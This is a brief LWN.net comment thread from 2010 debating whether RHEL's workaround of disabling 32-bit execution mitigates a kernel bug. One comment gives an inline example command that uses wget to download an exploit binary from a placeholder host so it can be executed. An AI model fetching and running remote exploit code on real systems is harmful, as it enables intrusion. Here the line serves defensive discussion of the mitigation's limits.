Weekly edition	Kernel	Security	Distributions	Contact Us	Search
Archives	Calendar	Subscribe	Write for LWN	LWN.net FAQ	Sponsors

RHEL's workaround

Posted Sep 17, 2010 19:20 UTC (Fri) by drag (subscriber, #31333)
In reply to: RHEL's workaround by dowdle
Parent article: Die-hard bug bytes Linux kernel for second time (Register)

Are you sure that actually does anything for you?

Does this prevent anybody from copying a 32bit binary from to your machine via "wget http://blah/exploit" and then executing it?

Yeah sure maybe it's missing some critical lib somewhere, but that is not much of a step for a stepper.

(Log in to post comments)

RHEL's workaround

Posted Sep 17, 2010 19:27 UTC (Fri) by dowdle (subscriber, #659) [Link]

I wasn't saying that by removing 32-bit packages that users can't add their own. I was just thinking that if I didn't have any 32-bit apps on the system that I was using or that the system was using... that turning off the ability to run 32-bit apps as a temporary workaround for the bug shouldn't have much of a negative impact. Does that make good sense to you?

RHEL's workaround

Posted Sep 17, 2010 23:31 UTC (Fri) by drag (subscriber, #31333) [Link]

I suppose so. But I have not seen any negative impact in the past from it and I've been mixing 32bit userlands with 64bit kernels for ages; except from the security perspective.